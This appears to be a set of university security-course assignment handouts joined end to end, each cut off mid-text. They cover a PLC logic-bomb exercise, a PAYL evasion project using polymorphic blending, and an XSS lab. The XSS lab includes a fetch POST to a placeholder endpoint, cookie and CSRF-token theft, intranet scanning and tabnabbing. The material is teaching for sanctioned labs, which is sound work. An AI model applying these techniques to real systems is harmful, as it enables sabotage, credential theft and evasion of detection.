• Once a pallet and box reaches the loading conveyor (pick-off station), the stacker crane shall pick it up and store it in the appropriate rack space. See Appendix B for detail on the various box sizes and where they shall be stored in the rack. • For each rack section, the first pallet shall be stored beginning in the lower right space in that section and subsequent pallets of that size are stored upward from there. When the top space is filled, begin storing at bottom of the next column to the left. Note: Do not worry about filling up an entire section with one size of box. The scene will not be run long enough for that to happen. • If the stop button is pressed, the process shall pause and continue as normal when the start button is pressed again. The Stacker Crane can continue moving towards its current destination, but it should stop operation once it arrives. If the system is started again, the crane shall either place the pallet it was storing or pick up the next pallet from the pick-off station. Note: Do not worry about the stop button being pressed while a pallet is being picked up or placed on the rack, but the stop button could be pressed while the Stacker Crane is in motion to/from the pick-off station. • Ensure that the control box displays the appropriate number of stored box types. You can utilize or ignore the ”Next Location” displays. The configuration is provided in the table below. Table 3: Part 2 Control Box Configuration Counters When Count is Taken Small/Medium/Large Box Inventory Once pallet is placed on storage rack Part 2b – Logic Bomb Pallet Storage (15 Points) The logic bomb should trigger once 12 pallets of any size box have been stored in the rack. In other words, 3 large / 4 medium / 5 small boxes have been stored, or 2 large / 8 medium / 2 small, etc. The logic bomb should cause the Stacker Crane to begin placing pallets where they have already been stored, in effect knocking some pallets off the rack. There should be no changes to the control box inventory display, so it should be reporting incorrect numbers since some of the pallets have been pushed out of inventory. Also, the system shall stop responding to start and stop buttons after the logic bomb has triggered. Under no conditions shall the count for the logic bomb trigger be reset, nor shall the logic bomb effect be cancelled once in place. Grading Notes Deliverable and Submission Instructions Create a zip file named --mp1.zip (e.g., Tohid-Shekari-mp1.zip), that includes all your files and submit it on Canvas. Your zip file should be generated in such a way that when it is extracted, we get two folders with the names of scenes and controllers. If you make multiple submissions to Canvas, a number will be appended to your filename. This is inserted by Canvas and will not result in any penalty. Part 1a Control IO file was provided as an example and should not be turned in. Note: Failure to follow the submission and naming instructions will cause 20% points loss. --mp1.zip |– scenes |– part1.factoryio |– part2.factoryio |– controllers |– part1b.controlio |– part2a.controlio |– part2b.controlio A good way to ensure your scenes being submitted are no different than the original scenes is to compare the original project file hash and your submission file hash. In Windows Powershell, use Get-FileHash and compare it to Get-FileHash Appendix A: Evaluation Table 4: Part 1 Water Tank Logic Bomb (25 Points) Requirement Points Notes Normal Operation 25 All three tanks start filling when Start button pressed, cycle appropriately, begin draining when Stop button pressed, and restart if Start button pressed during or after draining Table 5: Part 1 Water Tank Logic Bomb (10 Points) Requirement Points Notes Modified Operation 5 Tanks operate as described for Logic Bomb Start/Stop Buttons 5 Start/Stop buttons stop working for specified tanks Table 6: Part 2 Pallet Storage (50 Points) Requirement Points Notes Process Starts/Stops 10 Process starts and stops appropriately when Start/Stop buttons pressed Pallet Pickup 10 Stacker Crane picks up pallet Pallet Storage 10 Stacker Crane stores pallet in rack Organization 10 Stacker Crane stores box sizes in correct section of rack Control Box Logic 10 Control box numbers are accurately displayed Table 7: Part 2 Pallet Storage Logic Bomb (15 Points) Requirement Points Notes Logic Bomb Trigger 5 Logic bomb triggers after condition has been met Modified Operation 5 Stacker Crane operates as described for Logic Bomb Start/Stop Buttons 5 Start/Stop buttons stop working Extra Credit: To further encourage efficient programming diagrams, bonus points on this project will be granted to five students with the overall lowest block counts. Similar to the penalty thresholds, Notes, Memory Booleans, and Memory Integers will be excluded from this count. The student with the lowest block count will receive 5 additional points on this project. The second lowest will receive 4, third lowest 3, fourth lowest 2, and fifth lowest 1. import xml.etree.ElementTree as ET #Change the file name in the line below: controlio_path = ’partxx.controlio’ count = 0 ignore_types = [“NotesNode”, “InternalMemoryBit”, “InternalMemoryInt”] tree = ET.parse(controlio_path) root = tree.getroot() diagram = root[1] for element in diagram: if (element.tag == “NodeData”) and (element.attrib[“NodeType”] not in ignore_types): count += 1 print(count) Appendix B: Pallet Storage Table 8: Box Sizes Small Box Medium Box Large BoxTable 9: Box Size Storage Locations
Summer, 2025 Contents 1 Goals 2 2 Section 1: Project quiz (5 points) 2-3 3 Section 2: Project setup 4 4 Section 3: Project tasks (95 points) 5-10 5 Section 4: Final deliverables and rubric 11-13 6 Section 5: FAQs 14-17Goals of the Project ● The goal of this project is to introduce students to machine learning techniques and methodologies that help to differentiate between malicious and legitimate network traffic. ● In summary, students are introduced to: ○ how to build a machine-learning model based on normal network traffic. ○ how to conduct a blending attack producing artificial network traffic that resembles the normal one, and bypass the learned model.Suggestion We recommend that you use whatever is comfortable for you — either local set-up or the Linux VM provided. In the past, students faced no difficulty in setting up the project and working on either Windows or Macintosh OS. Readings and Resources This project relies on the following readings:● “Anomalous Payload-based Worm Detection and Signature Generation”, Ke Wang and Salvatore J.Stolfo, RAID2004 ● “Polymorphic Blending Attacks”, Prahlad Fogla, Monirul Sharif, Roberto Perdisci, Oleg Kolesnikov, Wenke Lee, Usenix Security 2006 ● “Sensitivity and specificity” Section 1: Project Quiz (5 points)We have created a small quiz to help you understand the topics covered in this project. Please read the papers (under Readings and Resources) before attempting the quiz and the subsequent tasks.1. In 1-gram PAYL, the byte frequency is calculated by counting the number of occurrences of a particular byte and dividing it by the length of the payload. a. True b. False2. The threshold for Mahalanobis distance is used to determine if the current payload is normal or malicious. Specifically, if the Mahalanobis distance of the current payload is LESS than the threshold, the current payload is malicious and an alert is raised by PAYL. a. True b. False3. Since polymorphic blending attacks try to evade network anomaly-based intrusion detection systems (IDS) by making the attacks look like normal traffic, they can be viewed as a subclass of mimicry attacks. a. True b. False4. In polymorphic blending attacks, the attacker uses an artificial profile which can be defined as: a. The attack payload’s profile which can bypass the IDS b. The profile of the payload generated by the polymorphic decryptor c. The profile estimated by observing normal traffic d. None of the above5. Polymorphic blending attacks use the following basic steps: (1) Blend the attack body within an instance of normal traffic payload and create an artificial payload using polymorphic encryption, (2) Let the IDS analyse this artificial payload and monitor the response received from IDS (3) Based on the response received repeat step 1 with another instance of normal traffic payload. Repeat until you find an artificial payload that can evade the IDS. a. True b. False1.1: DeliverablesFor each question, please enter your option in answers.txt as shown in the sample file below. Submit your answers for this part in answers.txt.You can find answers.txt under the project directory. We hide your total grade intentionally!!!Section 2: Project SetupYou can either use the provided VM to complete the project OR you can set up your own environment locally. 2.1: VM Setup 1. Download the VM using one of the links provided in the project description on canvas. (The password for the VM is cs6262). 2. All the required packages/dependencies are already installed in the VM. The project files are under: Desktop -> project 5 HOWEVER: please use project5.zip in Canvas for the most updated version. 2.2: Local Setup 1. Download the project zip file from the link provided in the project description on Canvas. 2. Please refer SETUP.txt in the PAYL directory to install the dependencies, using the same versions specified in the SETUP.txt.The local setup is tested on Ubuntu 18.04 and Ubuntu 20.04. Please use Ubuntu 18.04 if possible.TIP: Even if you are using the provided VM, please check SETUP.txt to understand how the project is set up and to get an overview of the various code components in the project. This might help in debugging any issues you might face later.Section 3: Project Tasks (95 points)3.1: Task A – Training an ML model to detect normal traffic (17.5 points) 3.1.1: Preliminary Reading Please refer to the reference readings to learn about how PAYL model works, in particular, a) how to extract byte frequency from the data b) how to train the model c) the definitions of parameters, threshold and smoothing factor3.1.2: Code and data provided The PAYL directory provides the PAYL code and data for model training.3.1.3: PAYL Code Workflow Here is the workflow of the provided PAYL code:● Operates in 2 modes: a) training mode: It reads pcap files provided in the ‘data’ directory, and tests parameters and reports the True Positive rates. b) testing mode: It first builds a model using parameters and data specified in the directory. Then it will test a specific packet and decide whether the test packet fits the model. ● Training mode ○ Read the normal traffic data and divide it into two parts, 75% of the data for training and the rest 25% for testing (NOTE: You will NOT change these portions in the code). ○ Sort the payload strings by length and generate a model for each length. ○ Each model per length is based on [mean frequency of each ascii, standard deviation of frequencies for each ascii].To run PAYL in training mode $ python3 wrapper.pyTesting mode● Read the normal traffic data from the directory, and train a model using specific parameters. Then test the specific packet (fed from the command line) using the trained model. ● Compute the Mahalanobis distance between each test payload and the model (of the same length) ● Label the payload: If the Mahalanobis distance is below the specified threshold, label the payload as normal traffic. Otherwise, label the packet as attack traffic.To run PAYL in testing mode $ python3 wrapper.py [FILE.pcap]where FILE.pcap is the data you will test.3.1.4: Tasks – Conduct experiments to select parameters● You are provided with artificial payloads (normal network traffic) to train a PAYL model. ● After reading the reference papers, it should make sense that you cannot train the PAYL model on the entire traffic of different protocols. So first you need to select a protocol: a) HTTP or b) DNS by changing the hard-coded option in wrapper.py. ● The next step is to select a proper pair of parameters for the model. For the selection process, you will provide a range for both parameters (by modifying the threshold and smoothing factor in wrapper.py). Then run wrapper.py on training mode and make sure the normal traffic (artificial payloads stored in the default data folder) is fed while training.The figure shows a sample output from the wrapper.py. You will find mSF and mTMD values which make mTP>96% for both HTTP and DNS protocols respectively. The parameters can be different for the two protocols.3.1.5: Deliverables Please report for each protocol that you used, the parameters that you found (output by wrapper.py) in a file named parameters.txt. Please report a decimal with rounded 2-digit accuracy for each parameter.NOTE: You are given a sample parameters.txt with dummy values in the PAYL directory. Please update the relevant values with your own answer. Check section 4 for more details. NOTE: The value for “DISTANCE” in parameters.txt will be obtained in the next task (section 3.2).TIP: You can set lower and upper bound values of both parameters in wrapper.py as the values you found in training mode to avoid multiple iterations during the testing mode.3.2: Task B – Evaluating packets on the ML model (17.5 points)Download your unique attack payload [YOUR_GTUSERNAME.pcap] from Files in Canvas, and place it in the PAYL directory of the Project 5 folder. (Path: Files -> Projects -> Project Five -> student_pcaps)For this part, you will verify that the model is effective for detection. You will ensure that the attack data does not fit the model, while the normal network traffic fits. Make sure you have completed Task A and that the parameters.txt file is set. Completing Task A and Task B will be essential to demonstrating the polymorphic blending attack in Task C.Use PAYL in testing mode ● You will first change wrapper.py to use the parameters recorded in parameters.txt. Open wrapper.py and change the None values of the following parameters: http_smoothing_factor = None dns_smoothing_factor = None http_threshold_for_mahalanobis = None dns_threshold_for_mahalanobis = None● For BOTH the DNS protocol and the HTTP protocol, verify that your attack payload gets rejected. By “rejected”, we mean that you will get a “It doesn’t fit the model” message on your test screen as seen in the following figure, which indicates that your attack sample has been detected as anomalous.$ python wrapper.py .pcap● Now verify the artificial payloads (normal traffic). We provide two artificial payloads; one for HTTP (http_artificial_profile.pcap) and one for DNS (dns_artificial_profile.pcap). Both are in the PAYL folder. Test each artificial payload against your model.Note: We use python3 and the command will either be python or python3 depends on your local env if you download python locally on your own machine.(set the training_protocol parameter in wrapper.py) $ python3 wrapper.py http_artificial_profile.pcap (set the training_protocol parameter in wrapper.py) $ python3 wrapper.py dns_artificial_profile.pcap● (NOTE: DO NOT forget to change parameters according to each protocol while testing relevant payload, e.g., DNS parameters to test dns_artificial_profile.pcap.) These should be accepted by the model. That is, you should get an output message that says “It fits the model” as presented in the following figure, which indicates that the sample is not detected as anomalous. The output will show your own parameters, not “mSF” , “mTMD”, or “mTP”.3.2.1: Deliverables Please report your calculated distance (where mDISTANCE is in the above figures) in parameters.txt for each protocol with the values of the attack payload (YOUR_GTUSERNAME.pcap) after completing Task B.3.3: Task C – Crafting a packet to evade the ML model (60 points)We assume that the attacker has a specific payload (the attack payload) that they would like to blend in with the normal traffic. Also, we assume that the attacker has access to one packet (artificial profile payload) that is normal and is accepted as normal by the PAYL model.Preliminary reading: Please refer to the “Polymorphic Blending Attacks” paper. In particular, section 4.2 describes how to evade 1-gram and the model implementation. More specifically we are focusing on the case where m
Summer 2025 We recommend the latest Google Chrome for this project! Christopher Brakalov Santosh Singh Objectives 1. Attack a web application by exploiting its XSS vulnerabilities to infect its users as persistently as possible. 2. Write XSS exploits to launch a social engineering attack and trick a simulated user into giving up their credentials. 3. Research basic cookie management and how to secure them. Background You’ve been invited to the CS6262 security club; welcome! The security club has a new official website we use for sharing information and resources. Unfortunately, the last administrator was too busy and didn’t perform any security audits on the website. Oh no! The club’s security team wants you, the club’s newest member, to deliver a full security audit of our new official website. You’ve been tasked to provide a pen-testing report to the club’s security team. You’ve received this message to start you off: “Hi there! The club’s website can be found at https://cs6262.gtisc.gatech.edu. We’ve integrated the GT Single-Sign-On service, so please sign in with your GT account and it will create a user for you. The website is not complicated. It is a simple Content Management System (CMS) with several features enabled, e.g., text search, dark mode, rich text editor, etc. Good luck auditing! The CS6262 Security Team”Before getting your hands dirty Let’s first orient ourselves on the website. The project website is located at cs6262.gtisc.gatech.edu – type this into your browser. We recommend using the latest version of Google Chrome.1. Sign in first. b. After sign-in, you will be directed to the homepage. At the top right corner, you can see your username and a dropdown list, which means you have successfully logged in. You can read through the WYSIWYG at https://summernote.org/ c. More themes for the editor are available at https://bootswatch.com/2. The “My writeups” tab will only return your submissions which can be used to see your submitted posts for task 4. a. There were previously some posts located here, but they have since been deleted. b. There should be no posts in your post feed.3. The “New writeups” tab lets you create a new post that will appear in your post feed upon visiting the website. a. The WYSIWYG editor features “Code View” which allows you to directly edit HTML and embed scripts into your posts.b. Try to create a “Hello World!” post to familiarize yourself with the interface. c. Next, try to add an HTML snippet inside the “Code View” like below:4. The “Console” tab is a testing tab that allows you to simulate other users and admins. Additionally, there is a link for receiving messages via an endpoint we created for you. The ReDoS and Information Theft sections are for use in later tasks. a. The Message Receiver Endpoint i. In these task scenarios, you’ll be asked to steal cookies and send them to this endpoint for collection. The endpoint acts as a pivot to send and receive messages. It mimics a command-and-control (C2) server that threat actors use as a main tool to control cyberattacks and exfiltrate data. ii. This endpoint link is a unique link specifically for you. Do not share information you collect here with other students. iii. The endpoint is necessary for XSS attacks to forward information from the victim’s point of view. You should use the “POST” method to send messages to this endpoint. To view the received messages, click the link and refresh when you need to receive a new one. iv. This endpoint will be primarily used for task 4 and 5.b. The User/Admin instance’s running status tells the current running admin role and user roles. You can at most create one admin role and one user role.To trigger an XSS attack on the admin side, fill in the URL of your post and submit to the admin role. It will create or override the current running browser instance, which means when it’s messed up, you can submit a URL to override the current one.To trigger an XSS attack on other users’ sides, fill in the URL of your malicious payload. The user instances also override the current one when you submit new URLs.The admin instance will be used for task 4 and task 5.2. The user instance will be used for task 5.3.c. The ReDoS section lets you practice application layer DoS.i. The server is a simple username and password verification website. Your password should not contain the username, the whole string. When you are able to launch the ReDoS attack, another request to this page will not respond as it should in a very short time interval. When your attack succeeds, you should be able to see a hash string in the result area. Note that the hash string is correct only when it is under a ReDoS attack. ii. Bear in mind that toggle the ReDoS heartbeat when you see a hash string so you can copy and paste. Because the result is refreshed every 10 seconds. iii. Check “Restart the ReDoS instance” to launch the ReDoS server again when you feel like the server is not responding to your submission. d. The Information Theft section will show an input box when you are able to log in as an admin. As a regular user, you won’t be able to see this form. So, there are two approaches to access this form. However, it might be easier to go for approach 2.Here are the two approaches. ii. Post your username and submit the form directly as admin. The form is protected by CSRF. Think of ways to find out the endpoint to submit to, read the CSRF token and send the post request.Tasks and Grading Rubric Note: Fill up the questionnaire and submit required files onto GradeScope.Task 1. Basic HTML and JavaScript Test (5%) 1. In this section we will introduce a few basic HTML and JavaScript knowledge to help you with other tasks. It is for practice purposes. There will be no points in this section.1.1 DevTools Modern browsers will provide DevTools for front-end developers to debug and tune the performance when developing a website. Attackers can also use these tools to explore and collect information. Open your Chrome and press F12 to open the developer console. DevTools will popup. Here you can run JavaScript in the console, view the source html of the webpage, capture the network traffic, and other functionalities. Try to explore it by yourself.1.2 console.log() console.log() is commonly used to print information into the console of the developer tools for debugging purposes. Open the devTool and type console.log(“yourGTID”); You can see your GTID is printed in the console.1.3 setInterval setInterval is used to fire a function given a frequency. It will return an intervalID which can be passed to clearInterval to cancel the interval.Question: Given a variable var counter = 5, make use of setInterval and clearInterval to reduce the counter to 0 in every second and then stop. You can run your code in devTools to verify. var counter = 5; // Your code below1.4 setTimeout setTimeout will fire a function after the delay milliseconds. The function will only be fired once. Similarly you can use the returned timeoutID and clearTimeout to cancel the timeout.Question: Given a variable var counter = 5, make use of setTimeout to reduce the counter to 0 in every second and then stop. You can run your code in devTools to verify. var counter = 5; // Your code below1.5 Promise A Promise is an object used for async operations in JavaScript. There are three states in a Promise object: Pending, Fulfilled, and Rejected. Once created, the state of the Promise object is pending. So the calling function will not be blocked and continue executing. The Promise object will eventually be fulfilled or rejected. Then the respective resolve or reject function will be called. Below is an example of a Promise. Before running the code, can you tell what the output would be? Can you explain why? let testPromise = new Promise((resolve, reject) => { setTimeout(()=>resolve(“Promise resolved”), 1000); }) testPromise.then(message => { console.log(message); }) console.log(“Calling function”);2. In this section, we will ask you 5 questions related to HTML and javascript. Each question contributes 1% of the total score. Please fill in your answers in the provided questionnaire.2.1 is an HTML element that allows the website to embed content from another website. The attacker can make use of XSS to dynamically create an iframe and load phishing content from the attacker’s website. In task 5.3, you will be asked to load a remote page in an iframe in full screen. This question, however, just asks you how to adjust an iframe’s layout.Which of the following options can adjust iframe’s width and height correctly? A) B) C) D) All of above2.2 In order for the tag to open a new tab/window when clicked, what value should you set for the target attribute? (The answer should only contain the value itself). This is necessary for task 5.3.2.3 You will see three alerts after running the code below. Put the output in sequence. The answer should be 3 numbers separated by commas with no space, e.g. 1,1,1. Think about why that is the case. You will use this technique in task 5.2. for (var i = 0; i < 3; i++) { const promise = new Promise((resolve, reject) => { setTimeout(resolve, 1000 + i*1000) }); promise.then(() => alert(i)); }2.4 Which of the following can set jsScript as a string variable correctly? Understanding how HTML code is parsed is important. This question is related to task 3. A) let jsScript=a=2 B) let jsScript='a=2' C) let jsScript='a=2' D) None of above2.5 fetch is an Application Programming Interface (API) which makes use of promises to send web requests. It is supported by most major web browsers. Study the use of fetch API and try to make a POST request to your Message Receiver Endpoint with the payload body being {“username”: “your-GT-username”}, e.g. {“username”: “abc123”}. Then, check your message receiver endpoint again using your browser to see the response. It will be a hash string. Copy this string into the questionnaire.FAQ Q. I submitted the hash I received from my endpoint, but the autograder said it was incorrect. What should I do? Please make sure that you have correctly set your username in the questionnaire.Task 2. Exploit the Reflected-XSS (10%) Find where to exploit a reflected XSS and fill in the questionnaire URL by visiting which an alert should trigger.Concept Review Reflective XSS is an attack where a website does not return requested data in a safe manner. Reflective is generally an XSS attack where the attacker sends the victim a link to a reputable website. BUT, this link contains malicious javascript code. For example, https://www.facebook.com/login?username=username&password=passwordsteal-yourinformation.js If the website returns the data in an unsafe manner (does not sanitize the output) and the victim clicks on this link, then the malicious code will be executed in the context of the victim’s session.Requirements The content of the alert doesn’t matter. For example, https://cs6262.gtisc.gatech.edu/endpoint…yourpayload is what you need to fill in the questionnaire.The autograder will visit your URL. If it detects an alert, then you will receive full credit.Tips 1. You don’t need to log into the website to find this vulnerable point and exploit it. 2. All inputs are malicious! Look for where you can type and try it with some alerts.Deliverables 1. A URL that includes the vulnerable endpoint and your alert payload. 2. The alert should show the domain as below.RubricYour URL is able to trigger an alert 10% Your URL fails to trigger an alert 0%Task 3. Evolve to Persistent Client Side XSS (15%)Therefore, instead of sending a link required in task 2, you find you can actually modify the payload and let the payload live in this web app forever. As long as a user clicks on the link you send once, she is infected persistently unless the payload is cleared.Concept ReviewAs Web technology evolves, more and more applications start to focus on user experience. More and more web applications, including cross platform Electron applications, are taking over desktop applications. Some user’s non-sensitive data is now stored on the client-side, especially the look and feel preferences of an application, to let the App load faster by remembering the user’s preferences without passing back small data chunks.(You can learn more how prevalent this unsafe design is nowadays by reading the paper Don’t Trust The Locals: Investigating the Prevalence of Persistent Client-Side Cross-Site Scripting in the Wild)Then, the variable is read by an unsafe sink, e.g. eval, element.innerHTML(data). Inspect what is stored locally for the web application, cs6262.gtisc.gatech.edu, and how it is used.– F12 on the keyboard and go to Application tab to inspect the Storage as highlighted below – – The Application tab provides you with a quick look at what local data is stored. That includes local storage, cookies, etc. – The Sources tab provides you with static resources, like scripts, HTML, and CSS files. That is the place you should focus on debugging JS code.Requirements Now, modify the payload in the link from task 2 and fill the updated URL in the questionnaire.The autograder will first visit your URL (NO alert should pop up at this point). Then, it would close the page and reopen to trigger your payload to run (One alert should pop up). Next, it refreshes the page without retriggering your payload (Another alert should pop up). Again, it should detect the alert twice. It should not pop up an alert by only visiting your URL. (Namely, the alert should be triggered when the victim visits any page on this website after reopening.)Tips 1. Read the post “Dark Mode” on the website. 3. The vulnerability is exploitable even if the victim has not logged in. 4. In this task, you don’t need to submit a post yet, which is for task 4. 5. The default dark mode style sheet is “https://bootswatch.com/4/cyborg/bootstrap.min.css”. You can reset it if you feel the website is messed up. Or, you can go to the Application tab->Application>Storage->Clear site data to reset everything.Some more Tips 1. Your URL should NOT trigger any alerts when visiting it directly. And, you don’t need to trigger your payload to execute in your exploit code. The autograder will do that for you. This task is trying NOT to draw the user’s attention (e.g. popups, alerts, and theme changing) when the user clicks on your URL. The alerts are for grading purposes. 3. Remember to leverage task 2’s result to inject your payload. When the page reloads, your payload can be read and executed. Deliverables 1. A URL that includes the vulnerable endpoint and your malicious payload.Rubric1. Your URL is able to trigger an alert after reopen 7% 2. Your URL is able to trigger an alert after refresh 8%Task 4. Exploit the Stored-XSS (20%) The website, https://cs6262.gtisc.gatech.edu, allows users to create articles. As a user, one needs to submit the post to a moderator who is the admin of the website for approval. This might be an interesting point to investigate whether you can inject something so when the admin is reviewing your post, thereby you can hijack the admin’s login session. This website uses a rich text editor which not only enables styled content but sanitizes the user’s input while preserving its style.In this task, you will submit a post with an injected payload that launches XSS attached to an admin user. Then, you need to steal some information that is only visible to an admin.Concept Review Stored XSS is an attack where a website does not store data in a safe manner. An attacker could then store malicious code within the website’s database. Said code could be executed whenever a user visits that website. So, a post for an admin’s approval seems like something you will be interested in. If you can steal the admin’s login session cookie, you can login as her to see what she can see.This httpOnly flag is a good way to prevent JavaScript from reading sensitive cookies. However, it doesn’t mean it can mitigate XSS attacks. Attackers, having malicious scripts running in the victim’s browser, are still able to send requests and forward the responses to themselves.Even though the website is protected by CSRF tokens, attackers can still manage to post malicious payload pretending to be the user.Requirements 1. Exploit the rich text editor to inject another XSS payload. Such payloads should NOT trigger an alert for a successful exploit. Your payload SHOULD set a global variable window.gotYou=true for the autograder to read. 2. You will steal admin’s cookies such that you can log in as admin to generate your unique hash string. Or, if you cannot steal the session cookie, you need to find a workaround to get the hash still. You will need to use the Message Receiver Endpoint to receive the stolen information. 3. Please DO NOT put any comments in your final code submission. 4. Please put a semicolon at the end of each statement.Workflow 1. Log into the website with your own credentials. 2. Inspect your session cookie to check if it has httpOnly set. a. If not, an XSS payload can steal it, so you can log into the website as another one. b. If yes, you need to find another way to get the hash. 3. Create a new post and find the vulnerable point of the editor. The editor has two modes. a. “What you see is what you got” mode. Try to type in some inputs and see how the editor deals with them. b. “Code editing” mode. Try to type in some JS code with tag and exit the mode. See how the editor renders your input. 4. Submit a post that can trigger an alert. Go to “My writeups” to see if you can see the alert box. If not, your payload or the way you exploit the editor is incorrect. 5. When you can exploit the editor successfully, submit a new post instead of triggering an alert. It should issue an HTTP request to your HTTP server. A simple “fetch(‘https://your_endpoint_address/’, {method: ‘post’, body: ‘hi’})” will help you verify the correctness. Then, you should be able to see this after opening your endpoint in a new tab. In this way, you should be able to read data out of the website and send it to your HTTP endpoint. 6. Copy the post’s URL and submit it to your console page to start an admin instance. Make sure your payload works as you intended before proceeding to the next step. 7. Modify your payload so that you can fetch (and see) the admin’s console page 8. Look into the “Information Theft” section and its HTML source code. 9. Further modify your payload to steal the (credential) token and use it to send the request for getting the hash. (This token will change on the admin’s next visit. It is not a good idea to hardcode a stolen token in your payload.)Tips 1. Read the post “WYSIWYG” on the website! a. The editor would allow you to type HTML/JS code directly. And, it doesn’t sanitize them if you do it in the code editing mode directly. Remember to toggle the code editing button back to the rich text mode to make sure it takes effect. 2. If a session token is protected by httpOnly, JS code won’t be able to read it. But! The XSS payload will run in the admin’s browser. Technically, every HTTP request to the website issued by the payload could carry the admin’s credential cookies on the website. 3. You are told that the hash is obtained on the page “/console”. Why not use the payload to send a request to “/console” to see what is invisible to regular users? 4. If you can find something interesting from the response, can you steal the CSRF token and send another request to the endpoint to get the hash string? 5. Remember that the admin’s token can only authenticate the admin’s request. 6. The token changes when the admin refreshes the console page. Try not to hardcode a stolen credential in your payload.Some more Tips 1. It’s better to use single quotes all the time as the whole payload will be interpreted as a string wrapped by a pair of double quotes, even though the autograder will replace all your double quotes with single ones. 2. You don’t need to request /console in your payload. You only need to submit the final payload used to retrieve the hash. 3. “window.gotYou = true” is set correctly and can be seen on your local browser, but the evaluation of it fails. That’s caused by incorrect syntax introduced after escaping your payload. People have different typing and coding styles, and we understand that. We appreciate it if you can follow the standard JS syntax, including a trailing semicolon (‘;’) at the end of every expression. Then, even if some spaces and/or are stripped out, it can still work. This is important to check. And please DO NOT put any comments in the code for submission. 4. Some people say they cannot let the admin click the button to submit their username. Think about what page the admin is actually visiting. Are the DOM elements on the page? You are only able to see them on the`/console` page. If you want to interact with those elements, you have to be on the `/console` page. Deliverables 1. The hash string you find when you log in as admin. You need to fill in the input box with your own username!2. The full URL of the endpoint to get the hash. For example, https://endpoint/path/…, the one used in a fetch, xmlhttprequest, or ajax request. 3. Your payload. a. The payload should set a global variable window.gotYou=true, which is used by the autograder to check whether you are able to exploit the website. You can verify the variable in the console like the picture below.Rubric 1. Correct hash string 10% 2. Correct endpoint of getting the hash 5% 3. The payload which should set ‘window.gotYou === true’ 5% Correct hash, but unworkable script. 0% Missing task4.js file with your submission 0%IMPORTANTRecommended Reading https://developer.mozilla.org/en-US/docs/Web/API/fetchFAQ Q. How to embed code in a write-up? (or Why is my script not working in a write-up)?Also, before posting your write-up, please switch back to the “normal” mode to ensure it works.Q. I have stolen the cookie of the admin. Why couldn’t I log in as the admin?Logging in as an admin is difficult since the website is well-configured to prevent it from happening, even if you have the cookie. An easier way is to “see” the admin’s console page (via your exploit script) and locate the “Information Theft” input box. Looking into the HTML of the page, you will know how you can instruct the admin (again, using your exploit script) to help you to get the hash.Q. The autograder gave me the error message “Correct hash, but you do not have the correct endpoint or payload.” What should I do? The autograder checks your script. Please make sure you have submitted it correctly. Also, please make sure your submission strictly follows the format guideline.Q. Many unexpected messages flood in my endpoint/inbox. I have cleaned all my write-ups and stopped all the bot instances. Why is it still happening? A possible reason is that some residual malicious code/scripts are still left on the website, e.g., your local storage or endpoint/inbox. Please clean all the cache and local storage of the website and clean your endpoint/inbox. You can clean your endpoint/inbox by posting tons of messages to your inbox or redoing your Q1.5 in Task 1.Task 5. Launch Attacks (50%) You just have learned how to exploit XSS in various ways. In this task, you will learn what XSS is capable of.Task 5.1. ReDoS (10%)Here are some references: https://www.cloudflare.com/learning/ddos/application-layer-ddos-attack/ https://en.wikipedia.org/wiki/ReDoS Freezing the Web: A Study of ReDoS Vulnerabilities in JavaScript-based Web ServersRequirements Read the references above to understand what ReDoS is and its impact. In this task, you will try one kind of ReDoS attack.You will find the ReDoS section on the console page. Try to compose a username and password combination to launch a ReDoS attack against the ReDoS server. When an attack is successful, a hash value will be available for you to submit.Tips The username can be a regular expression. Read the materials above, and you will find the solution.Deliverables 1. The hash value you find. 2. Username and password you used to launch the ReDoS attackRubric Correct hash string seen after ReDoS 10% Correct hash, but your payload fails to get the hash. 0%Task 5.2. Local Web Server Scanning (15%)As we learned from the lectures, a DNS rebinding attack allows an attacker to bypass SOP, thereby the attacker can read content from intranet web servers. But before launching a DNS rebinding attack, one must know what web servers are available in that organization. A local webserver scanning can help the attacker determine the targets.Now, assume you, as the attacker, have already learned the local IP address range below. And your goal is to determine what IP addresses are serving web content. (Recall the port number or protocol name for serving web content.) A web server will respond “hello” in plain text.The local host IP range is from 172.16.238.4 to 172.16.238.255, which is what you need to scan. These hosts are not accessible from outside as it’s only accessible to the victims – a user or an admin.Requirements 1. Recall the techniques used for task 4 that launches a stored XSS attack on the admin. Start an admin instance to visit your post that carries the scanning code. 2. Report what IP addresses are serving web content. And fill them in the questionnaire.Tips 1. console.log logs messages in the browser which executes the code. I.e., a simulated user executes your code, then the message will be logged in the user’s browser. You won’t be able to see it in your browser. To receive the message, you need to forward the response to your endpoint. 2. The message sent to the endpoint is in serial, meaning the latter one will override the previous one. Please consider aggregating the result first and sending it back to your endpoint. Promise.all is your best friend for this. 3. You are given a known IP (172.16.238.10) for testing purposes. Don’t report this one in your questionnaire. Deliverables 1. Local server IPs in the format of ip1,ip2,ip3,…. No spaces between them. Only comma separated.Rubric You will get 15% for all correct IP addresses and 0% for all incorrect.Each correct IP reported 3% Each incorrect IP reported -3% Missing task5_2.js with your submission 0%IMPORTANTRecommended Reading to Learn More Here are some references to cross-origin vulnerabilities: https://portswigger.net/web-security/cors/access-control-allow-origin https://www.pivotpointsecurity.com/blog/cross-origin-resource-sharing-security/These two articles below are related to using WebRTC to scan from a browser because of the mechanism of establishing a peer to peer connection if you are interested. These are past-tense anyways, but you are welcome to think of any new ideas related to this. A Browser Scanner: Collecting Intranet Information https://medium.com/tenable-techblog/using-webrtc-ice-servers-for-port-scanning-in-chromece17b19dd474FAQ Q. My script always sends IP 172.16.238.255. Why?Q. I cannot fetch the test IP 172.16.238.10 (or I got the error message ERR_CONNECTION_TIMED_OUT). What should I do? Please make sure that it’s the admin who runs your script. This IP is only accessible by the admin. Also, please specify the correct protocol name or port number. (The server serves web content, as mentioned in our write-up.)Task 5.3. Tabnabbing (25%) In this task, you are determined to steal other users’ credentials. As per an online survey, you learn people open 10~20 tabs on average to surf the Internet. Therefore, you think tabnabbing, one of the phishing attacks that lure users into giving up their credentials, could be a good social engineering attack vector.Here are some references about what tabnabbing is. https://owasp.org/www-community/attacks/Reverse_Tabnabbing https://en.wikipedia.org/wiki/Tabnabbing https://medium.com/@shatabda/security-tabnabbing-what-how-b038a70d300eGiven restrictions https://cs6262.gtisc.gatech.edu has and you being able to exploit the XSS vulnerabilities only, you have to implement a variant of tabnabbing following the requirements below.Requirements 1. You will create a URL with the necessary payload to deploy the attack to a simulated user like task 1 and task 2. 2. Your payload should modify all the tags on the website, so when a user clicks any links on the website, a new tab will open to load the content. 3. When the user focuses on the newly opened tab, the opener tab (the page whose URL has your payload) should remain unchanged until the user has lost focus on it for more than 60 seconds. a. When a user switches back to 